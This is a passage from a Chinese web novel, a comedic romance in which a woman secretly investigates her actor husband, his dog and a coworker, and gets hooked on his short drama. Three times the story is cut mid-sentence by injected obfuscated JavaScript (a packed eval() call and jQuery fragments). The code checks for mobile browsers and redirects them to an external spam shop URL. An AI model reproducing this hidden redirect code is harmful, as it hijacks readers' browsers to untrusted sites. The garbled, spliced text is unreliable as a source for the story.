裴矜不想在无用的地方与他做过多纠缠,俩人离开料理店,踏上了回家的路。 车上的气氛格外安静,一个开车,一个看手机,大家各管各的,互不打扰像幅拙劣的假画。 这幅画在裴矜避免用脚趾抓出第二座梦幻魔仙堡的时候被打破了。 “Wewillwewillrockyou!” 裴矜本想放点音乐调节一下,但她忘了,今天她开的不是自己的爱车,而是骚包齐北宸的拉风跑车。 摇滚乐的超大分贝席卷耳膜,车内震得玻璃窗都在嗡嗡回响。 裴矜傻了,齐北宸乐了。 副驾驶仿佛是个天然时候欣赏劲爆音乐的风水宝地,齐北宸用左手刷着手机,右手放在膝盖上打着拍子,摇头晃脑的模样和早上占据此座的小土匪简直一模一样。 裴矜二话不说就把歌给切了,连带音乐都调小了许多。 好你个齐北宸,狗子的主子你认识,狗子的音乐品味和你如出一辙,还好意思找方铭伪装骗人?分明就是他养的一条好狗,利用完了就拉个挡箭牌出来应付自己,当她傻啊! 齐北宸在听到音乐切了的瞬间就瘪起嘴:“那么好听的歌,干嘛不继续放?” “喜欢你自己回去关房里放个够本,现在是我在开车,安静一点。” 齐北宸语带调侃:“你好凶啊,裴矜。才吃了我的饭,就火药味十足,是不是不太好啊?” 裴矜眼睛盯着前方,一个字不说,脑袋里完全在想另一件事。 和方铭熟悉是吧,拉方铭做伪证是吧,行。一会儿她就来问问她们部门的情报中心,看你齐北宸还有什么话好说! 8. 秘密调查 一路顺风顺水地到了家,裴矜此时的注意力全部集中在她包里的手机里。 齐北宸那货狗嘴里吐不出象牙,她不怕,给她时间和机会,定能抓出马脚! 然后她就看到了一出意外的话剧,表演者是知名谐星齐北宸先生,特邀嘉宾张阿姨。 故事发生于裴、齐二人在自家门口摸钥匙准备进门的节骨眼上,裴矜开门,齐北宸当苦力拎东西。这个时候,张阿姨悄然登场。 “小齐啊,你来一下。”对门的张阿姨对着齐北宸招了招手,声音不大。 正在找钥匙的裴矜停下了动作,和齐北宸一起转过头对着张阿姨点头微笑。 齐北宸把粉色航空包往咯吱窝里一夹,狗盆狗玩具因为他的走动发出叮铃哐当的声音:“张阿姨,什么事啊?” “你等我一下哦,我去拿。” 社牛齐北宸微一皱眉头,但还是乖巧的模样:“哦……好的阿姨。” 张阿姨转身回屋,齐北宸被硬控在原地,连带裴矜都好奇了起来。 张阿姨人虽然不错,平时因着生活节奏对不上和齐北宸却算不上熟络,和裴矜反而更亲近些。她一个退休阿姨最大的乐趣就是做点小点心和养花养草,裴矜就被投喂过好几次。 莫非这次又是做出什么新品打算给他们尝鲜了? 不行,要是阿姨送吃的,一定得礼貌地拒绝。吃人家嘴软,拿人家手短,裴矜不想老是占长辈的便宜,而且她现在还有更紧急的军情要处理。 老人家的速度注定不会比年轻人快。男主角齐北宸捏着航空包的带子纵有千言万语也不敢乱跑,VIP观众席的裴矜更是做好了随时上前拦截的思想准备。 直到十分钟后张阿姨把一个很大的袋子交到齐北宸手里的那一刻,裴矜第一次看到不管何时都笑得自信张扬的齐北宸僵住了。还是硬邦邦得能和石膏像PK的那种质感。 不是吃的,那是什么? 裴矜往对门迈了一小步,但那俩人说话的声音实在太轻了,只能模糊地听到“洗一洗”“感谢”等模糊的字眼。裴矜想再听个仔细的时候,齐北宸已经恢复成原来的模样,正对着张阿姨点头哈腰的。 “谢谢张阿姨,我下次请您吃饭。” 张阿姨眯着眼笑:“邻里邻居的,不用那么客气,快回去吧。” 戏散场了,观众只看到个大致轮廓,名场面完美错过,这像话吗? 裴矜不多说话,借着拿钥匙开门的契机,往齐北宸拿着的袋子缝隙里努力偷瞄。 嗯……黑乎乎的布料,上面还有松紧带和口袋?这不是裤子吗?这坨东西下面的好像是男士三角裤的边?哈?旁边那个白色的不会是上衣吧!那侧面鼓起来的那个形状该不会是…… “裴主任,看够了吗?”齐北宸把袋子往自己的怀里拢了拢,语带调侃,“你什么时候对男性衣物那么有兴趣了?” 被抓了个正着的裴矜眼睛一瞪,耳朵尖泛红。她避开齐北宸的眼睛,推门进入:“谁……谁对那些东西有兴趣了!我是在想哪儿来的味道。” 被裴矜这样一说,齐北宸似乎也闻到了一股味道。俩人嗅了半天,发现东西的气味来源自齐北宸手里张阿姨刚给的那个袋子。 直肠子的裴矜用手指虚空点了点:“好像是那个里面发出来的。” “不会吧,你别乱说。”齐北宸嘴上不服,当他刚刚拉开一条缝时,他自己第一时间就抱着袋子去了卫生间。 太上头了,那么上头的狗油味只此一家。 裴矜捏着鼻子去开窗,当齐北宸洗了个手回来的时候,面对的是裴主任模式的X光扫描。 “咳,那个,不好意思,是我没注意到。”不等裴矜开口,齐北宸第一时间辩解,“不过你别误会,那里面的东西是我之前晒在阳台上,不小心被风吹到张阿姨阳台上的。要不是我这两天不在,也不至于被腌入味了。” 哦,原来被腌入味的齐北宸和泰迪犬上的狗油味一模一样啊?家里衣服大部分都是王妈洗晒的,当她不存在啊?还有张阿姨家压根不养宠物,齐北宸估计不知道,可是她知道。那狗油味是怎么带过来的?好难猜啊。 面对齐北宸越来越不像话的借口,裴矜不显山不露水,杀夫证道的心越来越强。 喜欢玩?可以。这次多收集一些实锤,一口气拍死你,不给你任何辩解的机会。 心里有了想法,裴矜依旧绷着一张脸说道:“你下次可以和我或者王妈说一声。东西丢在邻居家不管算怎么一回事。” 齐北宸抓抓头:“我知道了,不过……” “又怎么了?” 齐北宸小心翼翼地看了一眼裴矜的脸色才往下说:“张阿姨说,她昨天本来想托你带回去的,结果开门就看到你在和一条狗搏斗。今天早上刚想找你,结果又看到你急匆匆赶时间上班去,她没好意思打扰你来着。” 方才打开的窗户似有一阵冷风吹入,裴矜的第二座梦幻魔仙堡换了个地方还是被抬了出来。 被人看到也就算了,被人看到鞭尸,而且还是被该死的齐北宸鞭尸,是裴矜无法接受的事。 荒唐!明明她是官,他是贼,怎么张阿姨递个袋子,说了几句话,反倒成了她不懂事?! 嘴巴开了又合,一向严以律己的裴主任脸色青一阵白一阵,最后憋出一句:“哦,这样。我有点累了,狗子的航空包,还有食盆那些……” 齐北宸立马接过话茬:“你休息去,放着我来。” 裴矜嗯了一声,目光瞥向卫生间:“那些衣服……” 齐北宸点头哈腰:“你放心,我一会儿就去处理,绝对不拖过夜。” 这个时候变成二十四孝好老公了,早干嘛去了! 裴矜的一腔怒火还没来得及发泄就被一场雨给浇灭了,她点点头,回到了自己房间。 深蓝色的床单上没了小土匪四仰八叉的张狂睡姿显得有些落寞,裴矜的手指轻拂过早上还存在的浅浅凹陷处,坐在床上闭着眼睛,任由脑内思绪翻飞。 片刻之后,她再度睁开眼,翻出包里的手机,敲击键盘,开始她的另一场隐秘战线上的战斗。 裴矜:我到家了,不好意思,那么晚回你。 对面的唐蜜秒回。 唐蜜:主任你怎么还那么客气呀~咱俩谁跟谁~ 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694110|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >裴矜差点被这社牛二号的热情吓退五百里,她吸了一口气,继续回复。 裴矜:我有件事想问你,方铭你知道吗? 唐蜜:市场部那个?知道啊,颜值和花心程度成正比,肌肉和业绩同步涨幅的那位嘛~ 唐蜜:主任你问他干嘛?我可听说他玩得很花哦~你才结婚没多久吧? 唐蜜:还是说,前两天公司聚会他把你送回家,他的绅士行为在你的心里种下了一颗种子,让你恋恋不忘了? 唐蜜:捂嘴偷笑.jpg 裴矜:…… 这都什么乱七八糟的,脑洞大得堪比黑洞,她才对那种花花公子没兴趣。 屏幕上唐蜜密密麻麻的文字搭配表情包和极快的手速几乎不给裴矜一点喘息的机会,但裴矜还是抓到了一个她本人不确定的事情。 指尖在屏幕上滑动了几下,裴矜决定追问这个线索。知己知彼百战百胜,说不定能挖出点什么。 裴矜:我和他不是那种关系,就是工作上找他有点事,和他不熟,想提前做一点准备工作,你别误会了。 裴矜:你说几天前公司聚会是他送我回去的?我怎么不记得了? 唐蜜:主任,你还是那么一本正经,大家都知道你是个有原则的人,我和你开玩笑啦~ 唐蜜:那天是我和你搭他车一起回去的,所以我记的很清楚。 唐蜜:主任你当时喝了没几杯就不行了,方哥看你醉了,他说他不知道你酒量那么差,早知道不灌你酒了,有点愧疚,说要载你回去。 唐蜜:我正好在你家往后几条街,还有个男生和我住的也不远,方哥就把我们几个一起捎上了。 唐蜜:你是第一个下车的,下车前你吐了好几回,差点吐在方哥爱车上,和你说话也是要说好几遍,反应老迟钝的。 唐蜜:醉酒也就算了,偏偏你还一个劲嚷“我没醉,我还能写报告”。没想到主任喝醉了还心心念念不忘工作,可爱捏~ 可爱个鬼啊!裴矜现在就想顺着网线爬过去,掐着唐蜜的脖子大喊:快给我忘了!问题在于当时车上还有这么多证人,她这波可以说社死得很彻底。 颜面荡然无存,裴矜想了半天也没能思考出一个可以合理挽尊的理由,索性装这事没发生,顺着唐蜜的话往下问。 裴矜:不好意思,给你们添麻烦了。那天除了这些,还有什么特别的事情吗? 唐蜜:不记得哎~后面是方哥背着你上楼的,然后他把我们送回家,别的没什么了。 唐蜜的没什么,恰恰是裴矜的有什么。 齐北宸提到过,他说要把狗子寄放在家里的时间点也在这个时候。那么巧啊,方铭认识齐北宸,方铭又和自己不熟悉,方铭还给齐北宸提供了照片和录音两个强而有力的佐证? 裴矜摸着下巴,双眼锁死在手机屏幕上,认真计划着自己的下一步。 如果唐蜜没有撒谎,她回头得找方铭好好聊一下了。 裴矜沉默了片刻,正要打字准备结束这个话题,唐蜜的消息再度蹦了出来。 唐蜜:对了主任,那个长得很像齐北宸的帅哥和你是什么关系呀? 9. 深入敌后 沉默是今晚的康桥。 裴矜千算万算,怎么都没想到唐蜜和她聊了那么久,一个急刹车和大转弯能拐到齐北宸身上去。这不是最扯的,最扯的是身为齐北宸迷妹的唐蜜竟然偶像在她面前,她还没认出来。 鬼头鬼脑地看了一眼在卫生间里洗衣服的齐北宸,裴矜的眉头不自觉拧了起来。 要是说结婚对象是齐北宸,以唐蜜这话痨属性她以后在办公室看来是别想清净了,要是否认齐北宸的存在,以她的八卦嗅觉一定能闻出不对劲。 既不想得罪自己又不想得罪同僚的裴主任最后决定将计就计。 裴矜:你先答应我别到处乱说,我再告诉你。 唐蜜:我知道了~他是你老公对不对? 唐蜜:主任你居然喜欢年下!还是个大帅哥!吃的也太好了吧~ 呃,有那么明显吗?都怪齐北宸,一点都不知道收敛。 裴矜拿着手机的手微微冒汗,天平在隐瞒和坦白之间来回晃悠。 算了,今天先把这事忽悠过去,省得唐蜜拿到公司到处去说。以后她万一发现真相了,不瞒着她就是了。 裴矜:嗯,是我老公。 裴矜:我不喜欢在公司说私事,还请你帮我保密。 裴矜:[请收款¥88,备注:零食钱] 唐蜜:[已收款¥88] 唐蜜:主任放心,保证完成任务! 唐蜜:我今天近距离看到你的老公时候,皮肤真好,身上还有一股淡淡的香味。骨相和我偶像超像的,就是他没有你老公那么强的少年感,也没那么年轻,穿衣品味也要更骚包一点。 唐蜜:所以那么极品的男人,主任你是怎么拿下的? 裴矜:相亲。 唐蜜:表情包震惊.gif 唐蜜:居然!如此简单! 唐蜜:要是能和我偶像见一面,握握他的手,我死而无憾。 ……你的偶像要是知道你站在对面不相识才是要吐血三升,倒地不起。” 等一下,唐蜜那么熟悉齐北宸,是不是能再曲线救国一下了解齐北宸的情况?多点情报总不会有错。裴矜脑内的侦探DNA再度发动,她立刻发送消息。 裴矜:你为什么那么喜欢齐北宸? 唐蜜:肤白貌美大长腿,谁不喜欢啊! 裴矜被唐蜜的直白噎了一下,想想自己似乎也是同一款择婿逻辑,心里的吐槽还没涌起就被摁下。 裴矜:还有吗? 唐蜜:那肯定是演技很不错啦~颜值这个东西可以吃一时,能嚼到现在必须得有两把刷子。 裴矜:这样啊。我正好最近剧荒了,你能给我推荐几部吗? 唐蜜:emmm老实说,我不太推荐。 裴矜:为什么? 唐蜜:因为他主要拍的都是短剧,像主任你这样的正剧控,应该不怎么看短剧吧? 裴矜觉得膝盖中了一箭,打字的手一抖。她确实不怎么看短剧,但她也不是因为喜欢长剧就歧视短剧,单纯是因为工作之后太忙了,跟不上时代节奏罢了。 唐蜜这刻板印象太重了,裴主任英明神武的形象不可摧毁,得和她说清楚! 裴矜:之前又是工作又是结婚,哪儿有时间啊。最近想换个口味,我是诚心想要个推荐的。 一向回复迅速的唐蜜过了好几分钟才回复。 唐蜜:我找了一部我认为适合主任的剧,有空你可以刷一下。保证你看完和老公感情再升一个浓度,嘿嘿嘿~ 唐蜜:[分享链接:《失忆总裁契约妻全集》,独家首播,带你领略一场非同一般的恋爱风暴!] 裴矜捏在手里的手机险些执行物理飞行模式。 不是,这都几几年了还整狗血天雷霸道总裁玛丽苏那一套,她早过了买口袋书看小言的年龄了! 一口气憋在心里不上不下,裴矜又不能对着唐蜜撒气,只匆匆回了句“谢谢,我会有空看的”就结束了对话,一股子气全撒在了齐北宸身上。 拖鞋的趿拉声在卫生间回荡,裴矜怒气冲冲地站在卫生间门口盯着齐北宸忙碌的背影。才被他嫌弃过味道浓郁的衣服泡在水里,空气中弥漫着淡淡的薰衣草香。裴矜嗅了嗅,那是王妈惯用的洗衣液味道,只是她没想到这位大少爷居然在用手搓。 他好像是在认真洗衣物,这时候进去是不是打扰到他了?裴矜有些困惑。在她看着齐北宸沉浸式洗衣服的间隙,不知为何,她暴躁的心情竟一点点平静了下来。 是因为今天发现了这个并不熟悉的老公有着挺多自己之前没发现的小心思吗?是因为察觉到他既做人又不做人的那一面吗?还是说单纯因为那张帅脸原谅了太多? 裴矜说不上来,只觉得冷静下来后自己的行为有点幼稚得不像自己。她勾了勾唇角,什么都没说,转身欲走。 水流声停了,齐北宸喊住了她。 “你看我几分钟,不打算说点什么吗?” 裴矜立马侧过身,眼珠子乱飘:“谁看你了!我是在想,你真洗得了衣服?” 齐北宸摇摇头,往前走了几步,微微蹲下身,双手撑着膝盖与她平视:“裴主任,洗衣服应该没有KPI考核指标吧?” 裴矜回嘴:“我可没这样说,你少给我扣帽子。” “岂敢岂敢。”齐北宸双手抱拳,随后擦干净手去了厨房。 他又干嘛去了? 裴矜脖子拉得老长。相处越久,她越发现自己似乎当时的闪婚行为有点草率,这便宜老公压根不是表面看上去的那么简单。 正想着,一股淡雅清新的茶味传了出来,其中还包含一丝若有似无的甜味。 齐北宸端着一杯温热的茶水递到裴矜面前:“喝吧,是安神茶。里面有洋甘菊、柠檬草、菩提叶,我加了一些蜂蜜作为调味,不会让你觉得太甜的。” “谢谢。” 裴矜双手接过茶闻了闻,气味不会太过甜腻。她喝了一小口,茶水的温度控制得很好,入口清甜,回甘润嗓,重要的是没有那种甜过头的腻歪,花草茶的本身味道被完美地保留了下来。 一口一口抿着茶水,裴矜不禁好奇:“你怎么会想到泡这个的?” 齐北宸噗嗤一笑,给裴矜拿来了一面小镜子:“裴主任,你平时是真不注意形象啊。黑眼圈都快能和国宝一较高低了,你工作也太拼了吧?” 望着镜子里自己眼底的一片鸦青,裴矜的耳根微微泛红。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694111|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 想到自己本来是想趁机骂他的,他还傻乎乎的什么都不知道,声音小小的说了一句:“对不起。” 耳力不错的齐北宸听到了,他收起镜子,歪了下头:“为什么和我道歉?” “我之前……在心里偷偷骂你来着。” “啊?哈哈哈。”齐北宸大笑出声,“不是,我说你也太老实了吧?哪个人会当着骂街对象直接说出来我骂你了?” 换成一般人她确实不一定承认,但对象是齐北宸这么个又狗又鬼的人,与其使心眼子,还不如痛快一点承认比较好。 裴矜撇了撇嘴,没有接话。她拿着喝完的空杯来到厨房,打开水龙头洗杯子:“你怎么会这些的?” 齐北宸没有跟过来,隔空倚靠在门框上回答:“久病成良医,我也会有通宵拍片睡不着的时候,偶尔喝一杯效果不错的。不过,我还是第一次给人泡茶,我记得你好像不太喜欢太甜的,就稍微在我自己喝的版本上改良了一下,你给点感想呗。” 房间里只有冲洗茶杯的细小声音,冷冽的晚风中透着夏初的燥热。水龙头里的水缓缓流过裴矜的手,沿着手指的缝隙落在水池里。 裴矜低着头认真地洗着那只小巧的茶杯,连同敞口和圈足里里外外洗了三次,闷闷的声音从她低垂的方向传来:“勉强凑合吧。” 齐北宸看着她的背影,怪叫一声:“啥?就这?我可是泡得超认真的,你这不是敷衍我吗?” “你问我,我老实回答罢了。”裴矜把洗完的茶杯擦干,放回原处,头也不回地冲向自己卧室,“我要睡了,晚安。” “喂,你就这样走啦?”齐北宸目送着她进自己卧室,挠挠头,不情不愿地嘟囔了一句,“晚安。” 房门关上的那一刻,世界才终于安静了下来。 裴矜仰卧在床上,头上的吊顶照射在她的身上,她一半人在灯光下,一半在阴影里,形似割裂又好似浑然一体。 该死的齐北宸,什么鬼安神茶,喝完一点效果都没有,反而心跳更快了,明天就去骂他! 当天夜里,裴矜睡得格外的死沉。 好吧,算这位大少爷有两下子,但事情还没完呢。 一杯茶浇灭不了裴矜追查的决心,反而引起了她要探究到底的心。 她试探过,接下来的几天,恰逢齐北宸没有重要的商业演出或是拍摄工作,正好可以先问问方铭醉酒那天发生了些什么。 但裴矜千算万算没算到方铭在这个节骨眼上出差去了,压根不在公司。她和方铭完全不熟,这条线索被迫暂时搁浅。 不过事情并非毫无进展,裴矜频频来市场部,无意间撞上了另一个熟人——吕恪。 他当时抱着刚签署完的文件,眼里满是好奇:“主任,你有什么急事吗?” 裴矜看着吕恪的脸,忽然想起这位也是和齐北宸打过交道的,只是这里是市场部的地盘,不宜问私事,俩人约定午休的时候去裴矜办公室详谈。 时光转瞬而逝,中午大部分人都出去吃饭了。裴矜特意叫了个简餐外卖,和吕恪俩人坐在办公室的沙发上,两人一边进餐一边闲谈:“小吕啊,不好意思占用你午休时间了,有件事我想问问你,你觉得齐北宸是怎样一个人?” 10. 熬夜追剧 吕恪不紧不慢地夹起一筷子菜送到嘴里,目光落在精致的饭食上:“这个问题好像不该我来回答吧主任,关起门来是你们夫妻俩的事,我一个外人不太好插嘴。” 裴矜的背脊瞬间绷直。 唐蜜都没认出齐北宸本尊,吕恪是怎么认出来的? 吕恪似乎也察觉到了裴矜的异常,他仍然笑得温和:“这件事我没和别人说过,主任可以不用担心传出去影响工作。” 也是,如果吕恪是个大嘴巴,没可能唐蜜还蒙在鼓里。何况在平时的相处中,吕恪也都是少说多做的类型。 想到这里,裴矜悬着的心才稍稍放下。她思考了一下,问出口:“你是怎么看出来他是我先生的?” 吕恪慢条斯理地继续吃着饭,仿佛裴矜问的是个再寻常不过的问题:“因为他的眼神。一个人可以说许多好听的话,但那不是重点,重点是要看对方做了什么。显然我当时出现在办公室的时机不太对,给他带来了一些误解。” 裴矜背后升起一股凉意。 仅靠办公室那几分钟的观察就能判断出来,吕恪的观察能力也太厉害了。 “当然,事情没有那么简单。”吕恪看了裴矜一眼,继续往下说道,“我注意到他的衣着打扮有点不同于普通白领或上班族,所以我上网搜索了一下他的大名,没想到他是个演员。” 吕恪说着,又看了裴矜第二眼:“演员的洞察力远在我们普通人之上,那是职业使然。但齐先生的洞察力,我觉得不仅仅是职业这一个原因。不过……有可能是我的错觉,他似乎是外表的刻板印象和心思截然相反的那一类人。” 裴矜之前一直对齐北宸那种说不清道不明的感觉,一下被吕恪给点透了。她放下筷子,侧头看着这个才工作几个月的年轻人。 看不透,有时候甚至裴矜会冒出来吕恪比齐北宸要可怕的念头。 明明是山清水秀的打扮,温和绅士的一张儒雅帅脸,给人的感觉却并非那么阳光,反而像冰山才露一角的神秘呢?但眼下裴矜顾不上这些,她的重点在于齐北宸。 “说具体一点。”裴矜主动为吕恪倒了一杯水,“我记得当时你和他一起离开的办公室,你看到什么了?” 吕恪双手恭敬地接过水杯,说了一声谢谢:“其实齐先生和我一起离开之后并没有多说什么。我带他去公司大概逛了一圈就回来了,并没有和我多说什么。唯一让我有点在意的是,他好像和方铭认识。” 什么叫好像?听起来话里有话。 裴矜追问:“为什么是好像,这不太像你的措辞风格。” “因为他们看上去不是那么熟悉。”吕恪用手大概比划了一下当时二人的站位,解释道,“我很难相信以齐先生的性格,他遇到密友会保持那么远的距离进行交流,但他们看上去又不像第一次见面,感觉上更像是普通朋友。” 这话倒是和唐蜜之前提供的线索对得上。假设方铭是在送她回家那次之前就和齐北宸很熟了,那吕恪这段话就是撒谎。然而吕恪与齐、方二人并无利害冲突,没有撒谎的必要性,这一点上裴矜更相信吕恪。 要是她想的不错,方铭极有可能是齐北宸临时拉过来的队友。 好啊,齐北宸,一个人骗她还不够,又带了个队友玩组队忽悠,回头看她怎么收拾这狗东西! 裴矜的后槽牙磨得嘎吱响,吕恪品着茶眼睛一直落在裴矜的身上,裴矜却没注意到。吕恪收回眼神,抿了一口茶水:“主任,你是不是遇到什么事不方便和齐先生直说,才问我的吗?” 糟糕,有那么明显吗? 裴矜嘴角一抽,吕恪却不打算在这个事上继续纠结。他垂下眼眸,轻叹一声,望着不远处的地砖喃喃自语:“人总是这样,面对真正想表达的不敢轻易开口,结果来了又后悔不已,只叹自己当时犯了傻。” 吕恪的语气很轻,不比春风拂面,更似秋风萧瑟,多了一份离愁。裴矜才上去的火气又被他眼底的那抹说不出的情绪冲淡了几分。 房间里一时寂静无声,唯有二人清浅的呼吸声交错着。 “抱歉,是我说了些不该说的。”回过神的吕恪露出一抹腼腆的微笑,很快又恢复成那个可靠的下属模样,“主任,你要是想了解齐先生,除了每天观察他,不妨考虑一下网络手段。齐先生好歹是名演员,网络科技那么发达,总能发现一些你想了解的。听别人说和自己感受毕竟不是一回事。” 这个提议非常有建设性,不愧是她最认可能力的下属,角度就是清奇。 有了吕恪的提点和额外信息,接下来的几天内,齐北宸只要在家都能感受到一台人形摄像机在全自动记录自己。 裴矜总结了一下,得出以下结论。 第一,齐北宸有晨练的习惯,每天起的比她还早。 第二,齐北宸的三餐很规律也自律,从来不暴饮暴食。 第三,除了拍戏拉片,齐北宸最大的爱好就是窝在房里打游戏,不然就是健身运动。 ……这根本一点屁用都没有啊! 眼瞅着日常观察这条路走不通,远在天边的方铭也不知道什么时候出差回来,裴矜把注意力集中在了齐北宸的社交APP上。 他的朋友圈之前就被自己翻烂了,除了日常就日常,没什么特别的。微博就不同了,打开一看……怎么才几十万粉? 裴矜有点无语。 好歹是个不打工靠吃信托基金就能活得有滋有润的大少爷,你倒是买点粉包装一下门面呢? 更离谱的还在他的微博内容,十条里面三条是官宣事业动态,剩下的八条里五条在为他喜欢的游戏和动漫角色摇旗呐喊,甚至还PS表白是老婆老公,一点包袱都没有。 一个月表白次数过多的结果就是齐北宸的粉丝脐橙们已经习惯了正主发癫,都当成了梗,以至于他们俩真扯证的那条微博混在一堆表白微博里毫无违和感,粉丝们都以为齐北宸又喜欢上哪个角色了。 齐北宸,糊真是你的保护色。 裴矜两只眼睛瞪得像铜铃却没收获一丁点有效情报,正当她要放弃之际,眼睛的余光扫过齐演员的代表作上。 代表作《失忆总裁契约妻》。 没招了,前有唐蜜后有微博,双面夹击成这样,看来这一听就狗血天雷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694112|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 短剧是齐北宸的最大招牌,她看还不行嘛。 手指一点,跳转链接,迎面就是戴着金丝边眼镜,穿着经典白衬衫黑西装,头发全部后抓露出额头的禁欲霸总系齐北宸以及被他环绕的娇小可爱型女主角。 一看就是标准模式,就这也能成为代表作了? 然后裴矜就抱着手机看入迷了,等她想起来看时间的时候,已经是俩小时之后的事情了。 嗯,好像还行,原来以为是那种狗血到不行的失忆梗加霸总题材,实际上也确实是这么个味道,但好像又不完全是这样。 不一样的地方是什么,裴矜一时没想明白,像只小爪子在她心里挠痒痒一样不上不下。 不然……再看几集?反正短剧时间短,看起来挺快的。 她抬头看了一眼床头的闹钟,现在是晚上十点。 问题不大,再看一小时就睡觉。 裴矜把手机换成了平板电脑,半躺在床上继续刷剧,画面的特写镜头正对着齐北宸那张帅脸。 齐北宸扮演的薄总和他平时那不着调的二哈傻狗样反差挺大,不是她觉得齐北宸不帅,而是比起齐北宸本人,还是薄总更帅气一点,要多了一点熟男和社会精英的韵味。 嗯,这剧的化妆师和服装师都很懂,知道齐北宸皮相好,没给他乱上全包眼线和粉底液,只打了一层底就放上来了,不然还真衬不出他骨相的质感。 眼睛围着镜头那边的“薄总”转了一个小时又一个小时,所谓的过一会儿再睡觉自然成了谎言。当裴矜真入睡的时候,已过凌晨三点,她的生物钟先一步告退,眼睛一合就与周公下棋去了。 熬夜过头的代价是第二天早上裴矜顶着俩特大号熊猫眼闪亮登场的时候把齐北宸吓出了表情包,这位不知道管住嘴的人夫开口就说:“裴矜,你怎么眼线画晕开了都没发现啊。” 鲜少画眼线的裴主任正因为缺觉而头晕眼花,揉着脑袋就往卫生间里钻:“待会儿再说吧。”直接把罪魁祸首给屏蔽在了门外。 直接1v1和齐北宸正面决胜负的大战还没开演,自己追剧贴了个会员是不是有点亏?裴矜洗漱的间隙,暗中盘算着回头得让齐北宸多提供一些服务,不然她就亏死了。 但她转念一想,既然都买会员了,钱都花了,要是只看一部剧也太浪费了。买都买了得物尽其用才是,不知道还有什么好看的? 短剧APP在接下来的几天非常热情地给裴矜推荐了一堆由齐北宸参演的剧,从男配到男主应有尽有,甚至还放出了《失忆总裁契约妻第二季》的PV预告。 裴矜默默点了个预约追剧。 不是某人演得好,是他颜值确实在短剧里够用,仅此而已。 全然忘了自己这几天应该做什么的裴矜,理智在方铭回归的那一刻被悉数召回。 平板里刷到一半的短剧被暂时搁置在一旁,裴矜在下班的时候特意留晚了一点,喊住了方铭:“方组长,你出差回来了啊。” 正准备带着拉杆箱回家的方铭脚步一顿,转头看到裴矜的时候点了点头,犹豫了一下才开口:“裴主任好,你的胃舒服一点了吗?” 11. 喜提二犬 裴矜才被治愈没几天的胃袋再度感觉到了沉重的负担,她微扯了下嘴角,客气地应付过去:“这几天好多了,谢谢关心。说起来,上次还是我给你添麻烦了。” 方铭连连摆手,语气诚恳:“裴主任,你说这话就见外了。是我不对在前,考虑不周全了,这样的事绝对不会有下一次了。” 态度还挺不错的,上次的事先不提了。裴矜点点头,不打算在这个细枝末节上与之过多纠缠,抛出重点:“客套话就免了。你刚出差回来,我也不想多耽搁你的时间,我就想问一下你和齐北宸是什么关系。” 方铭抓着拉杆箱的手悄悄用力了几分,露出一抹笑容:“嗐,我当什么事,你是问你先生啊。我和他……是朋友啊,他没和你说吗?” 这个停顿有些微妙,是她的错觉吗? 裴矜盯着方铭的双眼,后者与她对视不到几秒就移开看向大门口。 可疑,一个大海王与她往日无怨近日无仇,心虚个什么劲? “他和我说了,只是我没想到你们的关系那么好。”裴矜收回过于犀利的眼神,嗓子的不适让她轻咳一声,“你我好歹同事一场,我结婚给你发喜糖的时候可没听你提这件事啊。” 方铭咧嘴一笑:“天下同名同姓的人那么多,我也没想到这个齐北宸就是你老公啊。” “嗯,也是,还有个演员也叫齐北宸呢,你听说过吗?” 方铭的额角渗出一层薄薄的冷汗:“我不太看剧,这就不清楚了。” 很好,连自己朋友是干什么的都搞不清,怎么敢托付狗子给对方的。齐北宸,你请的外援水平太烂,可以开除了。 裴矜心里有了判断,她绕开这个话题接着试探:“小土匪之前在我这儿养了一天,它回家有没有和你告状诉苦?” 方铭秒答:“它啊,还没回家就叫上了,我也不知道是为什么。那天齐……阿宸也在我们公司,和我吐槽说你给它起了个外号叫'小土匪'我就猜它那么臭屁肯定是听得不乐意了。” 前面支支吾吾,现在回答那么流畅?齐北宸是怎么知道小土匪这个绰号的,难道他不只是小土匪的真饲主那么简单? 原以为问了方铭会得到更确切的证据,现在反而越听越迷糊了。可以肯定的是这件事和齐北宸本人脱不了干系,种种迹象表明,有些细节除非是小土匪本狗才知道的事,齐北宸一清二楚到了离谱的地步。 难道他真的教狗子学习人类语言了?他这么干究竟图什么? 经过这几天的近距离观察,裴矜觉得这男人狗归狗,心眼子也算不上少,但段位充其量是个黄金,远不及王者。 看着面前的这位挡枪大师,裴矜决定最后试试他的弹性:“他怎么连这个都和你说了,哎~亏你还给他转狗子照片,你家狗被薅秃了一块毛,肯乖乖配合真是奇迹。” 方铭的一只眼睛偷瞄了裴矜一瞬,应和道:“哈哈,是吧,要抓住它可费劲了,好不容易拍的美照当然得发给兄弟留个念想。” 